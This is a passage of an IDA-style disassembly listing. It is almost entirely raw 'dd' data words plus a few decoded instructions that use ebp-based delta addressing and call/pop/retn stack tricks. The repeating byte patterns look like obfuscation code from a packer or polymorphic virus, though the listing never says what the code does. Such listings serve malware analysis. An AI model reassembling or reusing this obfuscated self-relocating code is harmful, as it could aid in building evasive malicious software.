		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 14A3BC3h, 0FA10098Dh, 0FB858D07h, 6A07FA4Eh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 32B1C355h, 5602AC16h, 8BAE6C9Bh, 0FA32F59Dh,	50539007h
		dd 11E852h, 0BEBB0000h,	0CF2282CAh, 0E70E2A04h,	0D82BDEB9h
		dd 5B223FD8h, 6FBA310Fh, 5A33C3CFh, 0E8505A58h,	8, 0DF939CD3h
		dd 0F4F46CC9h, 0F57004BBh, 0B905B2Dh, 0FA055D95h, 4595FF07h
		dd 8B07FA33h, 6890FDEh,	9000000h, 0FA1AC98Dh, 0CC48307h
		dd 1C35958Bh, 858D07FAh, 7FA4EFBh, 0BB66DA8Bh, 66907EBEh
		dd 50490FBBh, 310F5250h, 28D0Fh, 0D88B0000h, 0E990585Ah
		dd 0Ah,	0B4E61DDBh, 6347FA1Fh, 0BB66AD45h, 26A0DFBh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C2C35545h, 0A1DDB2A0h
		dd 0E6758173h, 12E89Ch,	0DA080000h, 3C753736h, 0CD1800B6h
		dd 52D129D9h, 5D99704Ah, 0CE9h,	93CB9D00h, 0E2FA201Ch
		dd 71A12BCDh, 95FF5A3Ch, 6AED14h, 6E8h,	2D35B100h, 8B66A036h
		dd 0FA181995h, 6A615B07h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0EDB3C353h,	0C78D37DEh
		dd 0FA4F2E85h, 107h, 1FE38000h,	4F51BB66h, 50525096h, 840F52h
		dd 0F000000h, 5A5A5631h, 60310F58h, 11E8h, 922C0700h, 6EE40C3Eh
		dd 0A353C7DCh, 0AFC87E0Eh, 615BE959h, 0F50585Ah, 38Dh
		dd 0D38B6600h, 0FDBD2996h, 8907FA2Dh, 0FA4EDFB5h, 0BD83F507h
		dd 7FA27ADh, 6A850F01h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 7EFFC357h
		dd 0EB56D24Fh, 8B95B7CFh, 0F99D8BDAh, 8307FA1Ah, 850F05F8h
		dd 35h,	10E9h, 0B4D8C700h, 0C1D73059h, 7C2AE219h, 0D4C11844h
		dd 0B807h, 9D8B0000h, 7FA1D6Dh,	10E9h, 39438700h, 75F29051h
		dd 556B6289h, 0D90D6A5Ch, 9DBD83E9h, 7FA34h, 4F840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0B7CBFC3h, 0B82C153Ah, 95891097h, 7FA2D79h, 0FFA7B360h
		dd 0FA349D95h, 10E86107h, 0C9000000h, 0C8778480h, 71C17F1Eh
		dd 2B0EA65Ch, 52E9B428h, 5B45DE80h, 0ADBD835Ah,	7FA0Ah
		dd 0A840Fh, 53B70000h, 0B8h, 0DFB70F00h, 0D59D8B60h, 8B07FA31h
		dd 0FA141985h, 798D8907h, 8307FA1Eh, 810F02C0h,	6, 33B19D89h
		dd 858907FAh, 7FA4ED7h,	0E59D8B60h, 8907FA1Ah, 0FA21BD95h
		dd 0D58A6107h, 6AFF00C6h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 210CC351h, 8D0F6042h
		dd 0Ch,	5E956h,	3B900000h, 5BACEB7Dh, 1C8A0Fh, 10E80000h
		dd 0BE000000h, 0E165B8BAh, 10584Ch, 0CBFE05F2h,	1E6D53Ah
		dd 0FA065195h, 85C65A07h, 7FA1571h, 68F0F53h, 89000000h
		dd 0FA186185h, 4E807h, 48D80000h, 8A50FCB1h, 53505ADCh
		dd 38B0Fh, 8B660000h, 448B5BD6h, 8B660424h, 60008BD9h
		dd 0EE8h, 0C08F4D00h, 2A7BDF75h, 76C428DBh, 0F3B4E11h
		dd 89h,	0C3B45F00h, 24448961h, 0DE804h,	4E1F0000h, 38E119h
		dd 3B18EE0Ah, 0E8533925h, 6, 0C03B5568h, 0BB669761h, 5B5AD51Fh
		dd 52006A58h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 958B02F0h, 7FA171Dh, 45DA8166h, 8DB5FF9Eh
		dd 0E907FA1Eh, 9, 0FF88FFB8h, 3F127CD8h, 58858D3Ch, 8107FE3Ah
		dd 4734CBEAh, 0FCD0FF58h, 12D8589h, 235207FAh, 0FA1CB99Dh
		dd 0BD835B07h, 7FA1BE1h, 1850F01h, 6A000001h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0E8F6C356h, 18FE8083h, 7E8h,	0ED54F900h, 783B6D29h
		dd 5B5B5752h, 8D29615Ah, 7FA1919h, 157185C6h, 94507FAh
		dd 0FA1F2585h, 0CB816607h, 4E8DC36h, 0C2000000h, 66DA6038h
		dd 5050D38Bh, 13E952h, 0FBED0000h, 7C4AB636h, 2F93EC64h
		dd 3764654Dh, 13836943h, 8B310FA6h, 8B585AD7h, 0BB042444h
		dd 62571947h, 6060008Bh, 310F5250h, 6161585Ah, 4244489h
		dd 6A58D98Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0A4FCC351h, 0FF48A60h,	1788h
		dd 12E900h, 6E7A0000h, 0A396059Ah, 0DC5F5EA3h, 0F333B286h
		dd 9FD838C9h, 8DB5FF61h, 6607FA1Eh, 858DD38Bh, 7FE3A58h
		dd 18B98D09h, 0D0FF07FAh, 0AB59589h, 8B6607FAh,	0F9006AD0h
		dd 5E9D0FFh, 0A8000000h, 89C62D85h, 259DBD83h, 0F0107FAh
		dd 0CB85h, 8BD98B00h, 0FA141985h, 95958B07h, 0E907FA2Dh
		dd 81h,	0AAEA8166h, 0BA66503Dh,	489C30Dh, 6AFCB224h, 50006A14h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 60C2CC59h, 810FE28Ah, 0
; ---------------------------------------------------------------------------
		popa
		call	dword ptr [ebp+7FA012Dh]
		push	0
		push	ebp
		call	loc_5A716A
		and	[ebp-3Dh], bl


loc_5A716A:				; CODE XREF: sub_5A55E5+1B7Dp
		pop	ebp
		mov	[esp-0Ah+arg_8+2], ebp
		add	[esp-0Ah+arg_8+2], 14h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		dw 0FDBh
		dd 18Eh, 6A58F800h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0B64AC357h, 3880F6h, 0FF7B850Fh
		dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 2B6887C3h, 96BF0EF2h, 0BF0FD8A5h,	100C6D8h
		dd 29EFBB66h, 8D895661h, 7FA1D25h, 0BDBD835Ah, 7FA13h
		dd 5A840Fh, 7E90000h, 4A000000h, 65ED1820h, 0FF6A5DC4h
		dd 0AE8h, 6548AD00h, 0F9F901B1h, 297F1A41h, 0FA11459Dh
		dd 95FF5A07h, 7FA012Dh,	0E9CDF280h, 0FFFFFFDAh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 3C35242h, 334E99F3h
		dd 958BB14Fh, 7FA2605h,	13BD85C7h, 107FAh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 3AB423C3h, 897DFCF8h, 0FA4EE385h, 1D9D8B07h,	0E907FA27h
		dd 6, 0AF4F7192h, 0E9905386h, 11h, 0A8BDB7E7h, 43FAE3B8h
		dd 6E1DD302h, 0C4D450BBh, 0FA8A5062h, 1DBD8990h, 6007FA35h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0F6C35040h
		dd 4128CEBFh, 8166056Ah, 8D071EDBh, 0FA4EFB85h,	99D2307h
		dd 9007FA07h, 0F565250h, 8Dh, 310F5B00h, 585A4BB3h, 9D8B9050h
		dd 7FA1165h, 4EEB858Dh,	6A07FAh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0ADCC3C3h, 0F1C16A2h
		dd 680h, 21B58900h, 9007FA2Dh, 823EBA66h, 0DE8B6650h, 71BB6690h
		dd 4595FF2Dh, 6007FA15h, 10E960h, 0B4410000h, 0E1D366D0h
		dd 2EE53CF2h, 9FCFE33Bh, 61606B7Ch, 0C3816161h,	1FA88B15h
		dd 7B708D8Dh, 0BF507FAh, 8D1174C0h, 0FA4EFB85h,	0D1FF5007h
		dd 4F198589h, 0AEB07FAh, 4F1985C7h, 0FFFF07FAh,	6AFFFFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 6AF20FC3h, 8D89B243h, 7FA026Dh, 26C99D89h, 820F07FAh
		dd 6, 28A18D29h, 896107FAh, 0FA31B595h,	7185C607h, 4D07FA15h
		dd 9D8982B7h, 7FA1389h,	910B0068h, 2404814Ah, 59A46BA8h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 59C35646h
		dd 9ABB66DDh, 0FFFD8A5Ah, 0FA039DB5h, 49B58907h, 8D07FA01h
		dd 0FE3A5885h, 7E907h, 799F0000h, 1609D34Eh, 66D0FF29h
		dd 2959EA81h, 13E9h, 10C82900h,	0DE857B90h, 0BBD72ADFh
		dd 33B8D88Bh, 0EEF49E71h, 0B98589h, 9EB607FAh, 157185C6h
		dd 0E94507FAh, 14h, 52528905h, 5DFB828Dh, 250FEFBFh, 0E7B35885h
		dd 0FC3E0204h, 28B99D89h, 0E76807FAh, 5114FCC6h, 3820Fh
		dd 8B660000h, 4815ADEh,	75A28224h, 56006A79h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0FA3DE01h
		dd 0B70FDEB7h, 8DB5FFD1h, 6A07FA1Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 9A88C353h
		dd 0F3DE519Fh, 8B2AFF0Ah, 0FA1A3D9Dh, 58858D07h, 107FE3Ah
		dd 0FA11F5B5h, 6AD0FF07h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0D0FCC350h,	1C0D8589h
		dd 666007FAh, 11DA7BAh,	0FA05DDB5h, 9D896107h, 7FA2E09h
		dd 8C66D28Bh, 0D2BF0FD9h, 0F04C1F6h, 27A84h, 85958B00h
		dd 0E907FA06h, 181h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 46C35040h, 0B58B8575h, 7FA136Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 52C35545h, 258D2956h
		dd 8107FA1Dh, 1180C6h, 51006A00h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 63DB4349h, 8FBC7BF9h
		dd 0BD830959h, 7FA0461h, 35850F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 950CC357h, 6660FE7Fh, 858BDA8Bh, 7FA092Dh, 0C5E961h
		dd 9D890000h, 7FA1DEDh,	0F003E83h, 0B684h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 0BC30F84Eh, 0DB816012h, 41730316h, 0BBB6146Ah, 12D95FFh
		dd 6A07FAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0BC0F90C3h, 56006A61h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 9B408D7h, 7E8h
		dd 0B0FC7D00h, 68493202h, 7E9h,	0C5DECB00h, 43BDC82Ch
		dd 0FF6AE95Bh, 6AFFFFh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 3754FBC3h, 0AC0C6633h, 0B59D8B30h
		dd 0C707FA0Ah, 106h, 0B5295700h, 7FA1919h, 0E3BD835Bh
		dd 507FA4Eh, 0E1850Fh, 85310000h, 7FA1DC9h, 1C0DB58Bh
		dd 10E807FAh, 7B000000h, 936AA256h, 3326198Dh, 66E1FFA7h
		dd 89CC4092h, 0FA33C58Dh, 64B95B07h, 8B000000h,	0E83E80D1h
		dd 4D840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1A0424h, 50400000h, 4DD18AC3h, 36E0CEE7h, 8A0Fh, 12E80000h
		dd 24000000h, 0AAD64287h, 0B6296467h, 0B579440Bh, 0ADCEAA37h
		dd 5BE0B373h, 19E9h, 51853100h,	8007FA04h, 0FC2057Eh, 4684h
		dd 79BB6600h, 0F38166C1h, 8B4646C4h, 0FA063595h, 850F4907h
		dd 0FFFFFF89h, 4C18D31h, 30E907FAh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 65CDC357h, 0A41DE1E4h, 8947D2C6h, 0FA32ADB5h, 8B0F07h
		dd 58000000h, 546D4DBAh, 61BD8334h, 7FA0Ah, 0D0840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 6F1F0FC3h, 0D75696BEh, 0B1958BD7h, 907FA33h,	0FA00C195h
		dd 0F576007h, 28Ch, 5B616000h, 157185C6h, 6A5407FAh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0F1DC355h, 3C68D6B7h, 81942B90h, 2EC82434h, 0F6806B65h
		dd 8DB5FF3Bh, 0B707FA1Eh, 0F22CBBD1h, 858D3646h, 7FE3A58h
		dd 37909CBBh, 1D0FF1Eh,	0FA2141B5h, 6ADE8B07h, 1D950900h
		dd 0FF07FA06h, 0FA0A61B5h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 14B63847h
		dd 0BF0F7E69h, 66D0FFDFh, 619C16BAh, 1A25958Bh,	85C707FAh
		dd 7FA0741h, 1,	0F19D8B51h, 5A07FA18h, 38B0Fh, 0F8520000h
		dd 9D8B605Ah, 7FA0BADh,	4E8h, 8000h, 0D98B5300h, 0E953505Bh
		dd 0Dh,	0C5A6C518h, 3152EEA4h, 0F1B22C27h, 448B5A59h, 0DA8B0424h
		dd 0CE9008Bh, 3F000000h, 1782511Bh, 0A305696Dh,	894F0898h
		dd 0E8042444h, 6, 0A21E157Ch, 820FFEA2h, 18h, 12E8h, 2DDBF500h
		dd 0C6E4244Ch, 7DD0B112h, 0CE43E6E2h, 5AEDE664h, 958B585Ah
		dd 7FA06C9h, 95FFFF6Ah,	7FA0665h, 5E9h,	6A576100h, 6A61AF76h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 5F3EC352h, 0B5B9AFCh, 9601C6Bh, 0FA2109B5h
		dd 0CAB96607h, 8D8961C7h, 7FA16D5h, 8E950h, 0E4CE0000h
		dd 395576D0h, 4897E23h,	8B2EB224h, 0FA123585h
		dd 10E807h, 0E5AB0000h,	1E9A51E3h, 40D8C399h, 0B6F28352h
		dd 958B462Eh, 7FA2AE1h,	0FC00B5Bh, 0E84h, 0DD9D0100h, 0FF07FA0Ah
		dd 0FA18E595h, 0C7E3B607h, 0FA21AD85h, 107h, 5D958900h
		dd 8307FA0Ah, 0FA1F65BDh, 840F0007h, 31h, 2FD8531h, 95FF07FAh
		dd 7FA0619h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	45C35747h, 0F1E3818Dh, 0B76B5DC3h, 51BD833Eh, 7FA1Ch
		dd 59840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0F320EBC3h, 3A5FCCA4h, 595FF71h
		dd 6A07FA12h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 7EA8C350h, 0BE8h, 0D8AB8000h
		dd 3E7E0C58h, 0ACCBB840h, 835BD98Bh, 0FA2DA5BDh, 840F0007h
		dd 7Ah,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h
		dd 8C35141h, 3191BD29h,	0BB6607FAh, 0BD83B610h,	7FA069Dh
		dd 47850F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 51B1C357h, 37165F58h
		dd 1BFBC055h, 249D9D89h, 95FF07FAh, 7FA1F49h, 0BE9h, 6A5D5C00h
		dd 8EF4FE44h, 0FABCD83Fh, 34118589h, 0BD8307FAh, 7FA1F59h
		dd 77840F00h, 89000000h, 0FA135985h, 2D858107h,	307FA1Eh
		dd 6A000040h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0D93CC356h, 0A814671Ah, 10E860A9h
		dd 67000000h, 1FD771Fh,	13672F8Dh, 766D12AAh, 5EA46D08h
		dd 2D858161h, 307FA11h,	6A000040h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 3D09C353h
		dd 664B7A08h, 310FD18Bh, 0F98D8DF5h, 107FA5Fh, 0FA069995h
		dd 66018907h, 6806C381h, 93BBC233h, 893159ADh, 6A0441h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0F73543C3h, 86BA57E0h, 5B0566A0h, 1379BB66h,	0BB66310Fh
		dd 8D8D2F4Fh, 7FA603Dh,	3FFEB80h, 0FA012595h, 31018907h
		dd 0FA26BD85h, 31C23307h, 0FA02418Dh, 4418907h,	6358D01h
		dd 0D68B07FAh, 20B9BD83h, 0F0007FAh, 5484h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0E6362BBCh, 8B66D45Fh, 0FD95FFDEh, 6A07FA00h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 90B5C353h, 0ED9D8BD6h, 8907FA15h, 0FA0555B5h, 45BD8307h
		dd 107FA17h, 51850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0F45A2FC3h, 0B189C24Ah
		dd 28E9D97Dh, 0B7000000h, 858952DAh, 7FA1B29h, 76B58B5Ah
		dd 0C707FA61h, 6, 0BBB58B00h, 0C707FA5Eh, 6, 0BB66CF00h
		dd 83F58BA9h, 0FA21ADBDh, 840F0007h, 174h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 25C35343h, 27F8EA81h
		dd 0BD830DD5h, 7FA1CB1h, 35850F01h, 66000001h, 8D8BDF8Bh
		dd 7FA4ED7h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	64C35646h, 8B911551h, 0FA154D95h, 1C607h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0BBC35545h, 6A6043h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 7854EEC3h, 0D56853B6h, 0E99FEBD4h, 13h, 8CD0FAh, 49E0A71Eh
		dd 0F130E34Eh, 217CDDCFh, 81549212h, 2BAB2404h,	6A6014h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0F353D7C3h, 0B6FB6DE9h, 0BE9B4C5h, 7A000000h, 753A6BB9h
		dd 0B1197E41h, 895704EDh, 0FA2939B5h, 0FF6A5A07h, 89DFB70Fh
		dd 0FA2B2DB5h, 6595FF07h, 0E807FA06h, 0Dh, 0F1BB55E8h
		dd 12B933E0h, 9C2CF95Ah, 5ADE8ABAh, 2961DE8Bh, 0FA2D9D95h
		dd 0E195FF07h, 5107FA05h, 11E9h, 0FBCF7F00h, 0E6E65F68h
		dd 8ABBF8CFh, 0B4037BE6h, 8B5A3ADAh, 0FA4ED78Dh, 0E9B58907h
		dd 8907FA2Bh, 0FA1C99BDh, 6601FE07h, 0F945DB81h, 1C9BD83h
		dd 0F0107FAh, 385h, 0F9D38000h,	0E953C08Bh, 0Ah, 0DBB8B0B2h
		dd 3F9C1FC6h, 0B35B0BC6h, 0D1BD8357h, 7FA16h, 0BD830975h
		dd 7FA3535h, 501A7400h,	8BC08B53h, 0FA1E2D85h, 2D858907h
		dd 8D07FA1Eh, 0FD3FDA9Dh, 5BD3FF07h, 35BD8358h,	7FA35h
		dd 53501874h, 1E2D858Bh, 858907FAh, 7FA1E2Dh, 3CC99D8Dh
		dd 0D3FF07FDh, 6A585Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0B2652BC3h, 0B8FC4550h, 31307FC7h
		dd 0FA1F5195h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0C08BF8A2h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 6DC35343h, 410D425Ch
		dd 5F3FEB26h, 9AD8589h,	0BD8307FAh, 7FA21ADh, 37850F00h
		dd 0B3000000h, 7DBD83D2h, 7FA1Eh, 28840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 235E90C3h, 0FA05CD9Dh, 0BBEFBB07h, 0BD8309D0h, 7FA21ADh
		dd 33840F00h, 8B000000h, 0FA32BD95h, 0CDBD8307h, 7FA02h
		dd 20840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 180424h, 52420000h, 0B6504DC3h, 0BD8383FCh, 7FA21ADh
		dd 2B840F00h, 0F000000h, 686h, 59D8B00h, 8907FA16h, 0FA1B31B5h
		dd 0CDBD8307h, 7FA02h, 0C840Fh,	820F0000h, 6, 26ED9D03h
		dd 0BD8307FAh, 7FA21ADh, 2E840F00h, 66000000h, 835EDABBh
		dd 0FA1C65BDh, 840F0007h, 1Dh, 17860Fh,	12E90000h, 8C000000h
		dd 5D09780Fh, 87C59BF5h, 1C93CB9Dh, 0CDE2FA20h,	0ADBD832Bh
		dd 7FA21h, 4D840Fh, 8B660000h, 0C9BD83D0h, 7FA25h, 3D840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 39B8AEC3h, 44114CE8h, 8B630A1Fh, 0FA1F619Dh
		dd 25958907h, 0F07FA1Ch, 95FFDFB7h, 7FA0A8Dh, 8BD78B66h
		dd 0D1BD83C0h, 7FA16h, 0BD830975h, 7FA3535h, 501A7400h
		dd 8BC08B53h, 0FA112D85h, 2D858907h, 8D07FA11h,	0FD40419Dh
		dd 5BD3FF07h, 35BD8358h, 7FA35h, 53501874h, 112D858Bh
		dd 858907FAh, 7FA112Dh,	3CE29D8Dh, 0D3FF07FDh, 6A585Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0E412EBC3h, 0B40A86E4h, 45950383h, 0E807FA34h, 9, 0F0AAF980h
		dd 0DCBD436Bh, 14E9FCh,	68500000h, 5DD4675Ah, 18A8CD2h
		dd 0CD984E1Ch, 1AA3FF59h, 8B5AF469h, 29D7BBC0h,	0DA8016FBh
		dd 0ADBD83DBh, 7FA21h, 3B4840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 122ECAC3h
		dd 0DE15BC69h, 6E974EFh, 31000000h, 41353DE4h, 0E1BD833Eh
		dd 207FA1Bh, 40840Fh, 89600000h, 0FA26F995h, 8361FC07h
		dd 0FA1745BDh, 850F0107h, 2Ah, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0FEC35545h,	9C22F12Dh, 61A7ED0h
		dd 0C5BDBBA2h, 6A60620Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 1237C353h, 2B6658h
		dd 4ED78D8Bh, 8B6007FAh, 0FA03199Dh, 31858B07h,	6107FA29h
		dd 950301FEh, 7FA1249h,	2890Fh,	0D18A0000h, 0DB8F3668h
		dd 830F62h, 81000000h, 8FB62434h, 958962DBh, 7FA1BDDh
		dd 9D8BFF6Ah, 7FA1865h,	66595FFh, 6A07FAh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 61B5DBC3h
		dd 10D4BCF2h, 0F981360Ch, 29BD8D61h, 0BB07FA0Bh, 6670E7BDh
		dd 91C4F8Bh, 0FA1E1DBDh, 0DA8B6607h, 0B70F016Ah, 0BB5391DFh
		dd 3AF6CBE7h, 8B0F505Bh, 0Ch, 7E9h, 0DFC27800h,	0FCC8E56Eh
		dd 0AD9D8B91h, 0F07FA1Ah, 0C86h, 68C0F00h, 89000000h, 0FA0A8995h
		dd 3C858D07h, 0FC07FDD2h, 0C98D8960h, 6607FA19h, 0A274CE81h
		dd 66D0FF61h, 4F8BDE8Bh, 15958B20h, 0E807FA08h,	6, 0F1723DBBh
		dd 8E0FF219h, 5, 73F28166h, 36A5A4Ch, 34808BBh,	6DB812Ah
		dd 9137B527h, 12E8h, 0B7AA4600h, 646F6506h, 0F5BD72B1h
		dd 33137EFBh, 66680CE2h, 5A0E20BAh, 0BB525050h,	0C2C6686h
		dd 0BA66310Fh, 585A338Fh, 899D8B91h, 8D07FA13h,	0FDD23C85h
		dd 5D958B07h, 0FF07FA0Ah, 52006AD0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 9169F162h
		dd 9ADA1409h, 6810Fh, 0B5890000h, 7FA07E9h, 0EE9h, 0ACC55E00h
		dd 0E7D30C1Bh, 0FDCA9BE4h, 8D731876h, 0FA0B29BDh, 8BF78A07h
		dd 6A1C4Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0CC5743C3h, 6AB8A180h, 55006A01h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 39FE03E5h
		dd 50D18B91h, 8DD88B91h, 0FDD23C85h, 10E907h, 7DA20000h
		dd 9A04BF8Ch, 6C7455D3h, 0E27F3F1h, 0D0FFA59Ah,	8B204F8Bh
		dd 6A036AD1h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 9F25C355h, 14E2AB72h, 10E953h
		dd 848E0000h, 5FE4EB75h, 1473BE42h, 89E48D74h, 0F5B3D53h
		dd 38Dh, 0D08B6600h, 8B666091h,	61DA8BCBh, 91D78B50h, 858DD08Bh
		dd 7FDD23Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0A1C35343h, 0FF901D35h,	8D8BF5D0h, 7FA4ED7h, 95895260h
		dd 7FA1119h, 0F6E1815Bh, 61368AA4h, 858B01FEh, 7FA4ED7h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A5C35040h
		dd 6DD8C67Ah, 8D896474h, 7FA1ECDh, 344D9589h, 0FE07FAh
		dd 9CB8166h, 29016A7Ch,	0FA094DB5h, 0EF9C6807h,	52509CB5h
		dd 0E9DE8A60h, 0Ah, 0FCCD0D16h,	5ADA54E0h, 0F613F31h, 0D78B6631h
		dd 481585Ah, 49B06324h,	2840F63h, 0B7000000h, 46858D77h
		dd 6607FDD2h, 8B66D08Bh, 66D0FFD9h, 0BD83DF8Bh,	7FA1E7Dh
		dd 0B0840F00h, 3000000h, 0FA2F1195h, 0ADBD8307h, 107FA27h
		dd 9D850Fh, 0B2520000h,	8D8D5B73h, 7FDD250h, 6AD8B70Fh
		dd 859D2303h, 6A07FA16h, 1BD2901h, 0FF07FA32h, 0CE9D1h
		dd 78930000h, 90EA084Dh, 0F46208B5h, 58BBAF52h,	6A56C0AAh
		dd 51006A01h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 66B5B734h, 0C6F5DB81h, 0B529016Ah, 7FA1EDDh
		dd 6AD1FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 5D2141C3h, 0D04A32DDh, 810F6056h,	0
		dd 5A61B0B7h, 616C19E8h, 23EB81F8h, 6A0BE4A3h, 52006A20h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 52CEC921h, 8529FB51h, 7FA1EA5h, 8589FF6Ah, 7FA34B5h
		dd 66595FFh, 958907FAh,	7FA1D99h, 0B8h,	49BD8900h, 0B07FA28h
		dd 26840FC0h, 66000000h, 89D284BBh, 0FA24E985h,	4DBD8307h
		dd 7FA17h, 0F840Fh, 0CB800000h,	3D95FFE3h, 8907FA20h, 0FA0629B5h
		dd 19858B07h, 6A07FA14h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 8935C350h, 0FA0B0195h
		dd 5958B07h, 0C607FA24h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 1897F0C3h, 0D5EA8166h
		dd 8B6658ADh, 3880FD0h,	0F000000h, 8C66DAB7h, 57006AD9h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 4ABB662Bh, 0AFD38120h, 0F6411FC6h, 840F04C1h, 4Eh, 48E9F8h
		dd 0D18B0000h, 136DB58Bh, 0E68007FAh, 80C681EAh, 0F8000011h
		dd 12E8h, 0BF74BE00h, 153A0B7Ch, 1097B82Ch, 0AC3F8269h
		dd 0E91FF4F5h, 5, 0DF56EE20h, 6C75B92h,	0
